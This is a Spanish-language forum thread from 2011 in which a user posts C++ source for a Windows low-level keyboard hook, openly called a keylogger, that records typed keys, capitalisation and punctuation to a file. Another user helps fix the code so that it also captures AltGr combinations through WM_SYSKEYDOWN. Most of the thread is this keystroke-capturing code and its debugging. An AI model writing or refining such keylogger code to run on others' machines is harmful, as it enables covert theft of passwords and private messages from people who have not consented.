[SOLUCIONADO] Problema con ALTGR (Keylogger)

Iniciado por yovaninu, 13 Agosto 2011, 06:19 AM

0 Miembros y 1 Visitante están viendo este tema.

yovaninu

Hola amigos:

Estoy haciendo un hook al teclado y al tratar de capturar los corchetes mi codigo no lo hace, tampoco detecta el ALT-Izquierdo ni el ALT-Derecho.

Al menos en mi teclado, el corchete de apertura esta asi:
[`^ todo eso en una tecla (el corchete de apertura sale al presionar ALTGR+la tecla esa)
+*] todo eso en una tecla (el corchete de cierre sale al presionar ALTGR+la tecla esa)


tengo lo siguiente:
Código (cpp) [Seleccionar]

LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) {

PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam);
DWORD Tecla = puntero->vkCode;

if (wParam == WM_KEYDOWN) {

switch (puntero->vkCode) {
case VK_RETURN: fputs("\n",f);      break;  //ENTER DETECTADO
case VK_LMENU: fputs(" [AltI] ",f);  break;  //¿POR QUE NO DETECTA ESTA TECLA?
case VK_RMENU: fputs(" [AltD] ",f);  break;  //¿POR QUE NO DETECTA ESTA OTRA TECLA?

case VK_RIGHT: fputs("[D]",f);    break; //la tecla flecha derecha. OK
case VK_DOWN: fputs("[D]",f);    break; //la tecla flecha abajo. OK
case VK_DELETE: fputs("[S]",f);    break; //la tecla suprimir


//capturamos las teclas normales
default:

if ((puntero->vkCode>64)&&(puntero->vkCode<91)){
if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){

puntero->vkCode+=32; // a minusculas
fputc(puntero->vkCode,f);
}else{  
fputc(puntero->vkCode,f);
}

}
if (Tecla==VK_SPACE){ //espacio en blanco
fputs(" ",f);
}

if (Tecla==190){ //detecta correctamente el punto y los dos puntos
 if (!(GetAsyncKeyState(VK_SHIFT)))
fputs(".",f); //punto
 else
fputs(":",f); //dos puntos
}

if (Tecla==188){ //coma y punto y coma. OK
 if (!(GetAsyncKeyState(VK_SHIFT)))
fputs(",",f);
 else
 fputs(";",f);
}

if (Tecla==189){ //guion y sub guion. OK
 if (!(GetAsyncKeyState(VK_SHIFT)))
fputs("-",f); //
 else
 fputs("_",f); //
}



/*ESTE ES EL CODIGO QUE NO TRABAJA, EL PROGRAMA EJECUTA PERO POR
ALGUNA RAZON NO PUEDE CAPTURAR NI EL ALTGR NI EL CORCHETE DE APERTURA*/

if (Tecla==186){ //ERROR ¿POR QUE NO DETECTA LA TECLA DONDE ESTA MI CORCHETE DE APERTURA?
if ((GetAsyncKeyState(VK_SHIFT))){ //si esta presionado SHIFT
 if (!GetAsyncKeyState(165)) //si no esta presionado ALTGR
   fputs("`",f); //
}
 else
 if (GetAsyncKeyState(165)) //si esta presionado ALTGR
   fputs("[",f); //corchete capturado <-- pero no funciona
 else
 fputs("^",f);


}
[/color]







}
}    
  return CallNextHookEx(NULL, nCode, wParam, lParam);
}



He probado con VK_OEM_4 pero tampoco.
¿Alguna sugerencia?.


Queta

Estás utilizando WM_KEYDOWN y como consecuencia:

CitarPosted to the window with the keyboard focus when a nonsystem key is pressed. A nonsystem key is a key that is pressed when the ALT key is not pressed.

http://msdn.microsoft.com/en-us/library/ms646280.aspx

Una posible solución sería utilizar WM_SYSKEYDOWN:

http://msdn.microsoft.com/en-us/library/ms646286.aspx
"Intenta no volverte un hombre de éxito, sino volverte un hombre de valor." Albert Einstein.

yovaninu

Cita de: Queta en 13 Agosto 2011, 13:04 PM
Estás utilizando WM_KEYDOWN y como consecuencia:

http://msdn.microsoft.com/en-us/library/ms646280.aspx

Una posible solución sería utilizar WM_SYSKEYDOWN:

http://msdn.microsoft.com/en-us/library/ms646286.aspx


En efecto, he cambiado la linea
Código (cpp) [Seleccionar]

if (wParam == WM_KEYDOWN)

por
Código (cpp) [Seleccionar]

if (wParam == WM_KEYDOWN ||  wParam == WM_SYSKEYDOWN)

para que tambien reconozca dicho mensaje.

Y ha detectado todo corréctamente. espero que dicho cambio no altere la funcionalidad de mi keylogger.

Saludos y gracias Queta

Queta

#3
De nada. A propósito, estás utilizando el "método" LowLevelKeyboardProc. No sé si habrás leído la documentación en la MSDN (http://msdn.microsoft.com/en-us/library/ms644985.aspx) pero recomiendan que compruebes el primer parámetro:

CitarA code the hook procedure uses to determine how to process the message. If nCode is less than zero, the hook procedure must pass the message to the CallNextHookEx function without further processing and should return the value returned by CallNextHookEx. This parameter can be one of the following values.
"Intenta no volverte un hombre de éxito, sino volverte un hombre de valor." Albert Einstein.